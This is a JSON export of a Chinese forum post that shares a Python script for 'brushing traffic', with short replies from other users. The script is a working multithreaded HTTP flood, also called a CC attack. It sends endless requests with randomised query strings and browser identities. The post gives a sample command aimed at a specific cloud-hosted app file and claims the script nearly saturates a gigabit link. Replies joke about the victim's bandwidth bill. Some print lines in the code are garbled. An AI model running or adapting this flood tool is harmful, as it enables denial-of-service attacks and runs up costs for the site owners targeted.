{"id":71321,"date":"2020-04-23T20:28:59","date_gmt":"2020-04-23T12:28:59","guid":{"rendered":"http:\/\/4563.org\/?p=71321"},"modified":"2020-04-23T20:28:59","modified_gmt":"2020-04-23T12:28:59","slug":"python%e5%88%b7%e6%b5%81%e9%87%8f%e8%84%9a%e6%9c%ac","status":"publish","type":"post","link":"http:\/\/4563.org\/?p=71321","title":{"rendered":"python\u5237\u6d41\u91cf\u811a\u672c"},"content":{"rendered":"\n<p>  \t\t\t\t\t<strong>botian<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3>python\u5237\u6d41\u91cf\u811a\u672c<\/h3>\n<p>  \t\t\u6211\u4e5f\u4e0d\u77e5\u9053\u4f60\u4eec\u4e3a\u5565\u8981\u5237\u5b83\uff0c\u6211\u53ea\u662f\u6765\u51d1\u70ed\u95f9\u3002<\/p>\n<p>  python cc.py -t 1000 -uhttps:\/\/zbios2.oss-cn-hongkong.aliyuncs.com\/ios2.ipa<\/p>\n<p>  \u5b9e\u6d4bG\u53e3\u63a5\u8fd1\u8dd1\u6ee1<\/p>\n<p>  #!\/usr\/bin\/env python<br \/>  #!coding:utf8<br \/>  import pycurl<br \/>  import StringIO<br \/>  import Queue<br \/>  from threading import Thread<br \/>  from threading import Lock<br \/>  from os import system<br \/>  import time<br \/>  import re<br \/>  import sys<br \/>  from random import randint<br \/>  import random<br \/>  import urllib<br \/>  import getopt<br \/>  from optparse import OptionParser <\/p>\n<p>  TIMEOUT = 60<\/p>\n<p>  parser = OptionParser()<br \/>  parser.add_option(&quot;-t&quot;, &quot;&#8211;thread&quot;, dest=&quot;thread_num&quot;, action=&quot;store&quot;,<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; help=&quot;thread&quot;) <br \/>  parser.add_option(&quot;-u&quot;, &quot;&#8211;url&quot;, dest=&quot;url&quot;, action=&quot;store&quot;,<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; help=&quot;url&quot;) <br \/>  (options, args) = parser.parse_args()<\/p>\n<p>  thread_num = int(options.thread_num)<\/p>\n<p>  def get_url():<br \/>  &nbsp; &nbsp; pices = options.url.split(&#8216; &#8216;)<br \/>  &nbsp; &nbsp; return random.choice(pices) + &#8216;?&#8217; + str(randint(0,99999999999));<\/p>\n<p>  def http_get(url):<br \/>  &nbsp; &nbsp; try:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;#buf = StringIO.StringIO()<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;buf = open(&#8216;\/dev\/null&#8217;, &#8216;w&#8217;)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c = pycurl.Curl()<\/p>\n<p>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.NOSIGNAL, 1)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.URL, url)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.WRITEFUNCTION, buf.write)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.USERAGENT, rand_ua())<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.CONNECTTIMEOUT, TIMEOUT)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.TIMEOUT, TIMEOUT)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.SSL_VERIFYPEER, 0)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.SSL_VERIFYHOST, 0)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.setopt(c.FOLLOWLOCATION, 0)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.perform()<\/p>\n<p>  &nbsp; &nbsp;&nbsp; &nbsp;rescode = 0<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;#res = buf.getvalue()<\/p>\n<p>  &nbsp; &nbsp; except Exception,e: <br \/>  &nbsp; &nbsp;&nbsp; &nbsp;rescode = 1<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;res = e<br \/>  &nbsp; &nbsp; finally:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;buf.close()<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;c.close()<br \/>  &nbsp; &nbsp; return (rescode, res)<\/p>\n<p>  def cc():<br \/>  &nbsp; &nbsp; while(True):<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;target_url = get_url()<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;res = http_get(target_url)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;timestr = time.strftime(&#8216;%Y-%m-%d %H:%M:%S&#8217;, time.localtime(time.time()))<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;if res == 0:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;print &quot;[%s] 33))<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;pass<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;else:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;print &quot;[%s] 33%s&quot; % (timestr, target_url, res, res)<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;del res<\/p>\n<p>  def main():<br \/>  &nbsp; &nbsp; threads = []<br \/>  &nbsp; &nbsp; for i in range(thread_num):<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;threads.append(Thread(target=cc))<br \/>  &nbsp; &nbsp; print &#8216;threads start&#8230;&#8217;<br \/>  &nbsp; &nbsp; time.sleep(1)<br \/>  &nbsp; &nbsp; for t in threads:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;t.start()<br \/>  &nbsp; &nbsp; for t in threads:<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;t.join()<\/p>\n<p>  def rand_ua():<br \/>  &nbsp; &nbsp; return &quot;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/%s.%s (KHTML, like Gecko) Chrome\/%s.0.%s.%s Safari\/%s.%s&quot;<br \/>  &nbsp; &nbsp;&nbsp; &nbsp;% (randint(50,600),randint(20,60),randint(30,80),randint(200,8000),randint(1,99),randint(1,1000),randint(1,99))<\/p>\n<p>  if __name__ == &#8216;__main__&#8217;:<br \/>  &nbsp; &nbsp; main()<\/p>\n<p>  \t\t\t\t\t<strong>iks<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u591a\u5730\u70b9\u591a\u8bed\u8a00\u591a\u5de5\u5177\u5237\u5251\u7687yc010t\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>riwsh<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\tyc008t<br \/>  CC\u811a\u672c\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>starlove_i<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u597d\u6b8b\u5fcdyc014t\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>yem<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u516b\u4ed9\u8fc7\u6d77\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>zhongziso<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u5237\u8fd9\u4e2a\u505a\u4ec0\u4e48\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>ljm4216<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u767b\u5f55\u8d26\u53f7\u4e00\u770b\uff0c\u8981\u54ed\u4e86\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>BlueSkyXN<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u5565\u4e1c\u897f\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>iyzx<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\t\u8fd9\u5f97\u6b20\u8d39\u591a\u5c11:lol\t\t\t\t<\/p>\n<p>  \t\t\t\t\t<strong>Zeros<\/strong>  \t\t\t\t\u5927\u4f6c\u6709\u8bdd\u8bf4 : \t<\/p>\n<h3><\/h3>\n<p>  \t\tiks \u5927\u4f6c\u6709\u8bdd\u8bf4 : 2020-4-23 19:48<br \/>  \u591a\u5730\u70b9\u591a\u8bed\u8a00\u591a\u5de5\u5177\u5237\u5251\u7687<\/p>\n<p> \u5206\u5e03\u5f0f\u5237\u5251\u7687yc010t\t\t\t  <\/p>\n","protected":false},"excerpt":{"rendered":"<p>botian \u5927\u4f6c\u6709\u8bdd\u8bf4 : py&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/71321"}],"collection":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=71321"}],"version-history":[{"count":0,"href":"http:\/\/4563.org\/index.php?rest_route=\/wp\/v2\/posts\/71321\/revisions"}],"wp:attachment":[{"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=71321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=71321"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/4563.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=71321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}